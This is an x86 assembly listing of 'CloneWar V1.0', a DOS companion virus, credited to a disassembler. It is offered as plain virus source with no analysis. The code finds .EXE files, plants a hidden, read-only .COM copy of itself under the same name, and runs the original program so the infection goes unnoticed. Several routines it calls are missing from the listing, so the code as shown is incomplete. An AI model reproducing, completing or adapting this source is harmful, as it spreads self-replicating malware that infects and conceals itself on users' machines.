OneHalf  Virii

CLONEWAR

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

CSEG SEGMENT
ASSUME CS:CSEG,DS:NOTHING

ORG 100H

START: JMP MY_BEGIN

DB "CloneWar V1.0 "
wild DB "*.EXE",0
file_Ext DB "COM",0
file_found DB 12 DUP(' '), 0
file_create DB 12 DUP(' '), 0
search_attrib DW 17H
num_infect dw 0

my_cmd:
Cmd_len db 13
file_clone db 12 DUP (' '), 0

ASSUME CS:CSEG, DS:CSEG, ES:NOTHING

cld
mov di,OFFSET file_clone
mov al,0
mov cx,12
repne scasb

mov al,0Dh
stosb
mov ax,12
sub ax,cx
mov cmd_len, al
ret


MOV DI,OFFSET file_found
MOV SI,158
MOV CX,12
REP MOVSB

MOV DI,OFFSET file_create
MOV SI,158
MOV CX,12
REP MOVSB

cld
mov di,OFFSET file_create
mov al,'.'
mov cx,9
repne scasb

mov si,OFFSET file_ext
mov cx,3
rep movsb

ret

Check_file:
mov dx,OFFSET file_create
mov cx,0
mov ax,3d00h
int 21h

Chk_done:
ret

mov dx,OFFSET file_create
mov cx,0
mov ah,3ch
int 21h
jc EXIT

mov bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START)
mov dx,OFFSET START
mov ah,40h
int 21h

;Close file
mov ah,3eh
int 21h

mov dx,OFFSET file_create
mov cx,3 ;(1) read only, (2) hidden, (4) system
mov ax,4301h
int 21h

ret

MY_BEGIN:
mov sp,offset STACK_HERE
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah
int 21h

MOV DI,OFFSET file_clone
MOV SI,OFFSET file_found
MOV CX,12
REP MOVSB

READ_DIR: MOV DX,OFFSET wild
MOV CX,search_attrib

MOV AH,4EH
INT 21H

JC EXIT

Do_file:
call Store_name

call Check_file
jnc seek_another
call Infect_file
jmp Exit

seek_another:

find_next:
mov ah,4fh
int 21h
jmp Do_file

EXIT:

call Prepare_command
mov si, OFFSET my_cmd
int 2Eh
MOV AX,4C00H
INT 21H

END_OF_CODE = $

STACK_HERE EQU END_OF_CODE + 512

CSEG ENDS
END START